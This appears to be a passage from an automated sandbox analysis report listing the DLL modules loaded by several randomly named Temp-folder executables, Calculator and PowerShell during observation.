Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: twinui.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: vccorlib140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: msvcp140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: concrt140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: vcruntime140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: vcruntime140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: msvcp140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: vcruntime140_app.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.ui.xaml.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.applicationmodel.datatransfer.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: rometadata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.staterepositoryclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.applicationmodel.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: uiamanager.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.ui.core.textinput.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.globalization.fontgroups.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: fontgroupsoverride.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.ui.xaml.controls.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.energy.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.graphics.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: winrttracing.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.ui.xaml.phone.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: directmanipulation.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: profext.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Section loaded: windows.web.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
